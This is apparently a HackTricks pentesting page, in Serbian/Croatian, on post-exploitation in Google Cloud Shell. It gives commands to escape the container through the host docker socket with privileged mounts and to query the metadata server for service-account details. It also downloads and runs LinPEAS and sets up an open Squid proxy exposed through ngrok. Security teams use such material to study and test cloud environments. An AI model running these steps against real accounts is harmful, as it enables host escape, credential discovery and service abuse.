# GCP - Cloud Shell Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Shell

Za više informacija o Cloud Shell-u pogledajte:

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Container Escape

Imajte na umu da Google Cloud Shell radi unutar kontejnera, možete **lako pobjeći na host** tako što ćete uraditi:
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```
Ovo Google ne smatra ranjivošću, ali vam pruža širu sliku o tome šta se dešava u toj sredini.

Pored toga, primetite da sa hosta možete pronaći token servisnog naloga:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
Sa sledećim opsegom:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
Enumerišite metapodatke pomoću LinPEAS:
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
Nakon korišćenja [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) sa tokenom Servisnog Naloga **nije otkrivena nijedna dozvola**...

### Koristite ga kao Proxy

Ako želite da koristite svoju google cloud shell instancu kao proxy, potrebno je da pokrenete sledeće komande (ili ih unesete u .bashrc datoteku):
```bash
sudo apt install -y squid
```
Samo da znate, Squid je HTTP proxy server. Kreirajte **squid.conf** datoteku sa sledećim podešavanjima:
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```
kopirajte **squid.conf** datoteku u **/etc/squid**
```bash
sudo cp squid.conf /etc/squid
```
Konačno pokrenite squid servis:
```bash
sudo service squid start
```
Koristite ngrok da omogućite pristup proxy-ju sa spolja:
```bash
./ngrok tcp 3128
```
Nakon pokretanja, kopirajte tcp:// URL. Ako želite da pokrenete proxy iz pregledača, preporučuje se da uklonite tcp:// deo i port, i da stavite port u polje za port u podešavanjima proxy-a vašeg pregledača (squid je http proxy server).

Za bolju upotrebu prilikom pokretanja, .bashrc datoteka bi trebala imati sledeće linije:
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
Uputstva su preuzeta sa [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Proverite tu stranicu za druge lude ideje kako da pokrenete bilo koju vrstu softvera (baze podataka pa čak i Windows) u Cloud Shell.

{{#include ../../../banners/hacktricks-training.md}}
